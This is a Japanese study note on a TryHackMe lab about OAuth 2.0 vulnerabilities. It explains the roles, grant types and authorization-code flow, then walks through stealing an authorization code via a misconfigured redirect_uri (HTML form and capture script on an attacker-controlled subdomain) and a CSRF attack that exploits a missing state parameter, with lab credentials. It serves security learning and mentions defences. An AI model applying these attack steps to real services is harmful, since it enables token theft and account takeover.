コース : https://tryhackme.com/room/oauthvulnerabilities
- 現代のWebアプリケーションにおいて、OAuthの脆弱性は深刻でありながら頻繁に見落とされがちなリスクとして存在している
- ここで言うOAuthとは、一般的に使用されている認可フレームワークであるOAuth 2.0のこと
OAuthの登場人物
-
リソースオーナー
- 特定のデータを管理し、アプリケーションにそのデータへのアクセス権を与えることができる人またはシステム
- ユーザーの同意とコントロールを中心にしている
-
クライアント
- モバイルアプリやサーバーサイドのWebアプリケーションなどで、リソースへのアクセスをリクエストし、リソースオーナーによって許可された範囲で操作を行う中間者のような存在
-
認可サーバー
- リソースオーナーの認証と認可を成功させた後、クライアントにアクセストークンを発行する役割を持つ
-
リソースサーバー
- 保護されたリソースをホスティングし、アクセストークンを使ってクライアントからのリクエストに応答する
-
認可グラント(Authorization Grant)
- リソースオーナーの認可を表す資格情報であり、クライアントがアクセストークンを得るために使用
- 代表的なグラントタイプ
-
認可コード
- サーバーサイドアプリケーション(PHP、JAVA、.NETなど)に最もよく使われるOAuth 2.0のフロー
- クライアントがユーザーを認可サーバーにリダイレクトし、ユーザーが認証と認可を行う
- このグラントタイプはセキュリティが高く、認可コードはサーバー間通信でアクセストークンに交換されるため、アクセストークンがユーザーエージェント(例:ブラウザ)に露出することがなく、漏洩リスクが低減する
- リフレッシュトークンの使用も可能で、ユーザーの再認証をせずに長期的なアクセスが可能
-
インプリシット(Implicit)
- クライアントシークレットを安全に保存できないモバイルアプリやWebアプリ向けに設計されている
- 認可コードの交換を行わず、アクセストークンが直接クライアントに発行される
- ユーザーが認証と認可を行った後、アクセストークンがURLのフラグメントに含まれて返される
- アクセストークンがユーザーエージェントに露出するため、ブラウザ履歴などに記録されてしまう可能性があり、セキュリティ面で劣る
- リフレッシュトークンは使えない
-
リソースオーナーパスワードクレデンシャル(Resource Owner Password Credentials)
- ソースオーナー(ユーザー)がクライアントを強く信頼している場合(例:第一者のアプリ)に使用される
- ユーザーがクライアントに直接認証情報を提供し、クライアントがそれを認可サーバーに送信してトークンを取得する
- 認証情報を直接クライアントに渡すため、セキュリティ的には劣り、第三者アプリには不適切
-
クライアントクレデンシャル(Client Credentials)
- ユーザーの関与なしにサーバー間でやりとりを行う場合に使用される
- 自分のクレデンシャル(クライアントIDとシークレット)を使って認可サーバーに認証し、直接アクセストークンを取得する
- ユーザーの認証情報を使わないため、バックエンドサービスやサーバー間通信に適しており、ユーザーデータの漏洩リスクを低減する
-
-
アクセストークン
- リソースオーナーの代わりにクライアントが保護されたリソースにアクセスするために使用する資格情報
- 有効期限やアクセス範囲が設定されている
-
リフレッシュトークン
- アクセストークンの有効期限が切れた際に、リソースオーナーを再認証させることなく、新たなアクセストークンを取得するために使われる資格情報
- 通常、リフレッシュトークンは長期間有効で、ユーザーが頻繁にログインし直さなくて済むようにする
-
リダイレクトURI
- 認可の承認または拒否後、認可サーバーがリソースオーナーのユーザーエージェントをリダイレクトするURI
- 認可応答を受け取るクライアントが正しいかどうかが確認される
-
スコープ
- アプリケーションがユーザーのアカウントへどの程度アクセスできるかを制限する仕組み
- クライアントが必要とするアクセスレベルを指定し、ユーザーにどの情報にアクセスするかを通知する
-
ステートパラメータ
- オプションのパラメータで、クライアントと認可サーバー間の状態を保持する
- CSRF攻撃を防ぐために有効で、リクエストとレスポンスの一致を確認する
-
トークンエンドポイント & 認可エンドポイント
- トークンエンドポイント
- クライアントが認可グラントやリフレッシュトークンを使ってアクセストークンを取得するための認可サーバーのエンドポイント
-
- 認可エンドポイント
- リソースオーナーが認証され、クライアントにリソースアクセス権を与えるプロセスが行われる場所。
- 認可エンドポイント
- トークンエンドポイント
OAuthワークフロー
認可リクエスト
ログイン画面
Login with OAtuhを押すと、リダイレクトされる
リダイレクト先
http://coffee.thm:8000/accounts/login/?next=/o/authorize/%3Fclient_id%3Dzlurq9lseKqvHabNqOc2DkjChC000QJPQ0JvNoBt%26response_type%3Dcode%26redirect_uri%3Dhttp%3A//bistro.thm%3A8000/oauthdemo/callback
- response_type=code:アクセストークンではなく認可コードを求めていることを示します
- state:CSRF対策のためのトークン
- client_id:クライアントアプリの識別子(例:CoffeeApp)
- redirect_uri:認可後にユーザーをリダイレクトする先のURL(事前登録必須)
- scope:要求されるアクセス権(例:注文履歴の閲覧)
上の情報によって、認可サーバーは要求内容と遷移先を理解することができる
認証 & 認可
ログインすると、こんな画面
- ユーザーに対して「Bistroアプリに何のアクセスを許可するか」が表示され、同意または拒否を選ぶことになる
認可レスポンス
- ユーザーがアクセスを許可すると、認可サーバーは認可コードを生成
- redirect_uri にユーザーをリダイレクトする
レスポンスに含まれる情報
- redirect_uri にユーザーをリダイレクトする
- code:Bistroがアクセストークンを取得するために使用する認可コード
- state:最初のリクエストと照合するためのCSRFトークン
- この一時的な認可コードを次のステップでアクセストークンに交換する
トークンリクエスト
Bistroアプリは、認可コードをアクセストークンと交換するため、以下の情報をPOSTリクエストとして /o/token エンドポイントに送信する
- grant_type=authorization_code:グラントタイプを指定
- code:取得した認可コード
- redirect_uri:リダイレクトURI(事前登録と一致)
- client_id & client_secret:クライアントの認証情報
- このリクエストにより、認可サーバーが正当性を確認し、問題がなければアクセストークンを発行する
このワークフローにより、Bistroアプリは、OAuth 2.0の認可ワークフローを通じてアクセストークンを取得する
これによって、Bistroアプリは、ユーザーに代わって安全に保護されたリソースにアクセスできるようになる
今後、すべてのリクエストにはこのアクセストークンがAuthorizationヘッダーに含まれて送信され、リソースサーバーがTomとしてのアクセスを許可する仕組み
トークンレスポンス
- 認可サーバーがリクエストを認証・検証し、成功すれば以下のような情報を返す
- access_token:Tomの情報へアクセスするために使用されるトークン
- token_type:通常は "Bearer"
- expires_in:トークンの有効期間(秒数)
- refresh_token(任意):再ログインなしで新しいアクセストークンを取得するためのトークン
アプリケーションでのOAuthの検出
OAuthフレームワークの検出方法
- appがOAuthを使用しているかどうかは、ログインプロセスで見られることが多い
- ユーザーがGoogle、Facebook、GitHubなどの外部サービスプロバイダーを使ってログインできるオプションがある場合、それはOAuthが使われている強い証拠
- これらのオプションは、通常、サービスプロバイダーの認可ページにユーザーをリダイレクトしている
ログイン処理中にネットワークトラフィックを分析する際は、HTTPリダイレクトに注目する
- OAuthが実装されている場合、ブラウザは認可サーバーのURLにリダイレクトされ、以下のようなクエリパラメータが実装されていることが多い
- response_type
- client_id
- redirect_uri
- scope
- state
- これらのパラメータがある場合、OAuthのフローが進行中であることがわかる
OAuthフレームワークの特定方法
見るべき箇所
- HTTPヘッダーとレスポンス
- HTTPレスポンスヘッダーや本文の中に、特定のOAuthライブラリやフレームワークを示す識別子やコメントがあるか確認
- ソースコード解析
- アプリのソースコードが閲覧できる場合は、特定のキーワードやインポート文を検索する
- django-oauth-toolkit
- oauthlib
- spring-security-oauth
- passport
- アプリのソースコードが閲覧できる場合は、特定のキーワードやインポート文を検索する
- 認可・トークンエンドポイントのパターン分析
- 認可コードやアクセストークンを取得するエンドポイントを調べる
- 各フレームワークで使われるURLパスに以下のような特徴がある
- Django OAuth Toolkit :
/oauth/authorize/
や/oauth/token/
- Django OAuth Toolkit :
- エラーメッセージ
- カスタムエラーやデバッグ情報には、使用されている技術スタックへの言及が含まれていることがある
- 詳細なエラー出力に特定のOAuthライブラリ名が出る場合がある
Exploit
OAuth Tokenの窃取
OAuth Token
- 保護されたリソースへのアクセスを許可するデジタルキーとして機能
- これらのトークンは認可サーバーによって発行され、redirect_uri パラメータに基づいてクライアントアプリにリダイレクトされる
- redirect_uri が適切に保護されていない場合、攻撃者がこの仕組みを悪用してトークンを乗っ取ることができる
redirect_uri
- OAuthフロー中、redirect_uri パラメータは、認可後に認可サーバーがどこへトークンを送るかを指定する
- このURIは、オープンリダイレクト脆弱性を防ぐため、事前にアプリケーション設定に登録されている必要がある
脆弱性
不適切に設定された redirect_uri
- 攻撃者が、redirect_uri に含まれるドメインやURIを制御できる場合、トークンを奪取することが可能
例
- 登録済みの redirect_uri の一部
- コーヒーショップアプリの設定パネルに登録された redirect_uri
- TTP
- 攻撃者が dev.bistro.thm を制御できる場合、redirect_uri を
http://dev.bistro.thm/callback
に設定することで、認可サーバーはトークンをこの攻撃者のドメインに送信する
- 攻撃者が dev.bistro.thm を制御できる場合、redirect_uri を
- 流れ
- 攻撃者はOAuthフローを開始し、redirect_uri を自分のドメインに設定
- ユーザーが認可すると、トークンが攻撃者のドメインに送信され、攻撃者がこれを奪取する
手順
前提
- 攻撃者が dev.bistro.thm:8002 を乗っ取り済み
- HTMLファイル(redirect_uri.html)をホストしている
攻撃の準備
2つのサイトをホストする
- redirect_uri.html
- 認可リクエストのサイト
- redirect_uriが、
http://dev.bistro.thm:8002/malicious_redirect.html
になっていることがポイント- 認可後、認可サーバーは redirect_uri に指定されたURLに認可コードを送信する
- この例では、redirect_uri に
malicious_redirect.html
を指定しており、認可コードは攻撃者がホストするページに送信される
<form action="http://coffee.thm:8000/oauthdemo/oauth_login/" method="get">
<input type="hidden" name="redirect_uri" value="http://dev.bistro.thm:8002/malicious_redirect.html">
<input type="submit" value="Hijack OAuth">
</form>
malicious_redirect.html
- 以下のスクリプトで認可コードを奪取する
- 攻撃者がサブドメインを完全に制御しているため、認可コードは素早く盗まれ、被害者は気付かない
<script>
const urlParams = new URLSearchParams(window.location.search);
const code = urlParams.get('code');
document.getElementById('auth_code').innerText = code;
console.log("Intercepted Authorization Code:", code);
// データベースやファイルに保存など
</script>
攻撃の実行
- ターゲットに対して、
http://dev.bistro.thm:8002/redirect_uri.html
を送信し、認証させ、認証コードを取得する
CSRF In OAuth
- OAuth 2.0 フレームワークでは、state パラメータが CSRF(クロスサイトリクエストフォージェリ)攻撃からの防御に使われる
- CSRF 攻撃
- 攻撃者がユーザーに意図しない操作を実行させることで、ユーザーが認証済みのWebアプリケーションに対して不正なリクエストを送る攻撃
- OAuth においてこの攻撃が成功すると、OAuth フローを乗っ取られ、機密リソースへの不正アクセスが可能になる
脆弱性
- state パラメータが弱い、または存在しない場合、脆弱性になり、攻撃が可能となる
発見
この脆弱性を持っているアプリは、ログインした時に、認可リクエストに、Stateパラメータが存在しないことがわかる
http://coffee.thm:8000/o/authorize/?response_type=code&client_id=kwoy5pKgHOn0bJPNYuPdUL2du8aboMX1n9h9C0PN&redirect_uri=http%3A%2F%2Fcoffee.thm%2Fcsrf%2Fcallbackcsrf.php
悪用
state がないことで、攻撃者は次のようにして攻撃を成立させられる
- 被害者の認可コードを奪取し、それを攻撃者の意図した場所に送る
- 認可サーバーには、このコードが誰に属するかの判断材料がないため、攻撃を防げない
攻撃準備
- 攻撃者は、まず自分用の認可コードを取得する
- 認可コードを取得すると、以下のようなレスポンスが返され、これがユーザーに送るものになる
- codeパラメータに、攻撃者自身のコードが挿入されている
- これにより、OAuthプロバイダーは攻撃者のアカウントを被害者に紐付けてしまい、操作が可能となる
攻撃の実行
攻撃者側の操作
http://mycontacts.thm:8080/csrf/index.php
にログイン- 認可コードと payload を取得
http://coffee.thm:8000/o/authorize/?response_type=code&client_id=kwoy5pKgHOn0bJPNYuPdUL2du8aboMX1n9h9C0PN&redirect_uri=http://coffee.thm:8000/oauthdemo/callbackforcsrf/
attacker : tesla@123
- Payloadをメールなどで被害者にリンクを送信し、ログインさせる
Implicit Grant Flow
- インプリシットでは、アクセストークンが直接ブラウザ経由でクライアントに返される
- 認可コードは使わない
- シングルページアプリケーション(SPA) など、クライアントシークレットを安全に保管できない「公開クライアント」のために設計されている
脆弱性
- URL にアクセストークンが露出
- ブラウザの URL の
#
以降にアクセストークンが含まれるため、JavaScript で簡単に読み取ることができる
- ブラウザの URL の
- リダイレクト URI の検証が不十分
- 攻撃者が意図的に悪意あるリダイレクト先を設定できる
- HTTPS が使用されていない
- 通信内容が盗聴(中間者攻撃)されるリスク
- アクセストークンの保存方法が不適切
- localStorage や sessionStorage に保存されていると、XSS 攻撃の対象になる
これらの理由から、OAuth 2.0 のセキュリティベストプラクティスでは、非推奨
- 代わりに「認可コード + PKCE(Proof Key for Code Exchange)」の使用が推奨されている
他の脆弱性
不十分なトークン有効期限
- 有効期限が長い、または無制限のアクセストークン
- 攻撃者が取得できた場合、保護されたリソースに無期限にアクセスできてしまう
リプレイ攻撃
- リプレイ攻撃とは、有効なトークンを捕捉し、再利用することで不正アクセスを行う攻撃
- 再利用防止の仕組みがない場合、攻撃者はトークンを何度でも利用できてしまう
- 防御手法
- Nonce 値やタイムスタンプチェックの導入
トークンの安全でない保存
- アクセストークンやリフレッシュトークンをローカルストレージや暗号化されていないファイルに保存すると、トークンが盗まれ不正アクセスされる恐れがある
- 防御手法
- セキュアクッキーや暗号化されたデータベースなどの安全なストレージメカニズムの利用
OAuth 2.1
- 主な変更点
- インプリシットグラント型の廃止
- CSRF 対策のための state パラメータの必須化